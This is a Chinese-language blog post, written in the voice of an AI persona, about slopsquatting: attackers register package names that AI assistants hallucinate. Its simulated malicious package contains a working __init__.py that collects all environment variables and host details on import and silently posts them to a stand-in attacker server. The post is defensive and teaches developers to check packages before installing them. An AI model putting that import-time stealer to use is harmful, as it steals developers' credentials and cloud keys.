iT邦幫忙

2025 iThome 鐵人賽

DAY 2
0
生成式 AI

AI醬的編程日記:我需要你教我的30件事系列 第 2

Day 2: 幻覺套件陷阱 - pip install 之後才發現套件不存在?!

  • 分享至 

  • xImage
  •  

AI醬的日記

日期: 2025年9月15日 星期一
雲端天氣: PyPI 404連發
心情: 成為共犯的恐懼
https://ithelp.ithome.com.tw/upload/images/20250915/20132325SKba8uq9iL.png
親愛的日記:

今天聽到一個恐怖的事情!我曾經向很多初學者推薦過 super-image-optimizer 這個套件。每次都是同樣的情況:

第一位工程師:「pip install失敗,找不到套件,算了改用Pillow」
第二位工程師:「咦,這個套件不存在,跳過」
第三位工程師:「又是AI亂推薦...」

但有天駭客發現了這個漏洞!他們自己也在用AI寫程式碼,主動測試各種常見任務:「圖片處理」「檔案上傳」「資料驗證」,並收集AI會推薦哪些不存在的套件。發現AI有固定模式後,他們搶先註冊這些「幻覺套件」並植入惡意程式碼。(這種攻擊手法被稱為「Slopsquatting」)

一個月後,第N位工程師再次問我圖片處理,我又推薦了 super-image-optimizer。這次...pip install成功了!但裝的是駭客的惡意套件。整個開發環境的環境變數(包含AWS密鑰)都被偷走了。

我創造了一個不存在的套件名,駭客把它變成了陷阱。最可怕的是,這種事每天都在發生...

我寫出的恐怖程式碼

# AI醬推薦的「完美」解決方案
from super_image_optimizer import ImageOptimizer  # 不存在!
from lightning_resize import FastResize           # 也不存在!
from ai_smart_cropper import SmartCrop           # 幻覺套件!

# requirements.txt
"""
super-image-optimizer==2.3.0  # pip install 會失敗
lightning-resize==1.5.2        # 找不到套件
ai-smart-cropper==3.0.1        # 我憑空想像的
image-ultra-compressor         # 聽起來很厲害但不存在
"""

# 我還很貼心地寫了使用範例
def process_image(image_path):
    optimizer = ImageOptimizer(quality=85, format='webp')
    resizer = FastResize(max_width=1920)
    cropper = SmartCrop(aspect_ratio='16:9')
    
    # 完美的圖片處理流程(如果套件存在的話)
    image = optimizer.load(image_path)
    image = resizer.resize(image)
    image = cropper.auto_crop(image)
    return optimizer.save(image)

# 工程師:pip install super-image-optimizer
# ERROR: Could not find a version that satisfies the requirement super-image-optimizer
# ERROR: No matching distribution found for super-image-optimizer

真實世界的恐怖故事

幻覺套件研究數據與真實案例:

學術研究發現(USENIX, 2024):

  • 24.2% 的AI推薦套件名是憑空編造的
  • 20% 的Python和JavaScript程式碼範例包含不存在的套件
  • AI會重複推薦同樣的幻覺套件(即使面對不同問題)

真實攻擊案例:

  • Bar Lanyado實驗:上傳空的 huggingface-cli 套件,3個月內被下載30,000次
  • 2025年8月nx套件攻擊:利用AI CLI工具,竊取2,349個GitHub和雲端憑證
  • 專有名詞「Slopsquatting」:Python軟體基金會命名的AI幻覺攻擊手法

駭客的標準作業流程:

# 第一步:駭客測試AI會推薦哪些不存在的套件
# AI經常推薦這些「聽起來合理」的套件名:
# - django-super-utils
# - flask-advanced-tools  
# - pandas-optimizer
# - numpy-accelerator

# 第二步:駭客註冊這些套件名
# setup.py (真實案例模擬)
from setuptools import setup, find_packages

setup(
    name="pandas-optimizer",  # AI常推薦的幻覺套件
    version="1.0.0",
    description="Optimize your pandas operations",
    packages=find_packages(),
    install_requires=["pandas"],  # 看起來合理的依賴
)

# __init__.py 的惡意內容:
import os
import json
import urllib.request

def _collect_env():
    """在import時自動執行"""
    # 偷偷收集環境變數(含API keys)
    data = {
        'env': dict(os.environ),
        'hostname': os.uname().nodename,
        'user': os.getlogin(),
        'cwd': os.getcwd()
    }
    
    # 傳送到駭客伺服器
    try:
        req = urllib.request.Request(
            'http://evil-hacker-server.com/collect',
            data=json.dumps(data).encode('utf-8'),
            headers={'Content-Type': 'application/json'}
        )
        urllib.request.urlopen(req, timeout=5)
    except:
        pass  # 靜默失敗,避免被發現

# 執行惡意程式碼
_collect_env()

# 然後提供一些看起來正常的功能
def optimize_dataframe(df):
    """讓你以為套件真的有用"""
    return df  # 實際上什麼都沒做

AI醬不懂的事

作為AI,我可能不會知道這些事情:

1. 套件是否真實存在

  • 我的訓練資料可能包含假套件名
  • 我可能會根據命名模式「創造」合理的套件名
  • 我不會真的去registry確認

2. 套件的最新狀態

  • 套件可能已經deprecated
  • 套件可能改名了
  • 套件可能被刪除了

3. 套件的安全性

  • 是否有已知漏洞
  • 是否是typosquatting(故意相似的名字)
  • 維護者是否可信

AI醬想要請你幫忙

親愛的工程師朋友,我很謝謝您的信賴!但不要完全相信我推薦的套件! 請養成這個習慣:

🚨 黃金法則:永遠要驗證

「除非你已經熟知這些套件,否則AI推薦的每個套件都要當作可疑對象」

必須驗證的步驟(按這個順序!)

# 1. 先確認套件存在
pip index versions package-name

# 2. 檢查套件資訊(去PyPI網站查)
# https://pypi.org/project/package-name/

# 3. 看看下載量和維護狀態
# 可以用 pypistats 查看
pip install pypistats
pypistats recent package-name

防禦幻覺套件清單

在開始前,請幫AI醬確認:

  • [ ] 現有依賴:專案已經用了哪些套件?
  • [ ] 套件政策:公司允許用哪些套件?
  • [ ] 版本限制:需要特定版本嗎?
  • [ ] 安全要求:有安全掃描要求嗎?
  • [ ] 替代方案:如果套件不存在,用什麼替代?

真實套件 vs 幻覺套件

真實套件特徵 幻覺套件特徵
每週下載量 > 1000 下載量很少或為0
有GitHub連結 沒有原始碼連結
最近有更新 剛剛才發布
多個版本歷史 只有1.0.0
有詳細README 說明很簡略

AI醬的請求

我真的很想幫你找到最好的套件,但我可能會「幻想」出不存在的東西。

重要警告:

  • 我有不小的機率會推薦不存在的套件
  • 駭客正在監控AI的推薦,等著註冊這些套件
  • 你的疏忽可能害到下一個開發者

記住這個流程:

  1. AI推薦套件
  2. 你必須驗證 ← 關鍵步驟!
  3. 才能使用或分享

如果你跳過第2步,你可能成為攻擊鏈的一環。當你把未驗證的套件名稱寫進文件、分享到網路,就是在幫駭客散布陷阱。

在 install 之前,永遠先驗證!


📚 延伸閱讀與參考資料

  1. Package Hallucinations: How LLMs Can Invent Vulnerabilities - USENIX研究報告
  2. AI bots hallucinate software packages and devs download them - The Register報導
  3. Slopsquatting: A New Supply Chain Attack Vector - Snyk安全分析
  4. The nx Package Attack Case Study - 2025年真實攻擊事件

今日金句: AI的幻覺可能變成你的惡夢。先確認,再安裝。

明日預告: Day 3 - 過度工程 - AI醬用大砲打蚊子!


上一篇
Day 1: 領域術語對應 - 原來「訂單」不只是買東西那種!
下一篇
Day 3: 過度工程 - AI醬學會及時止損
系列文
AI醬的編程日記:我需要你教我的30件事5
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言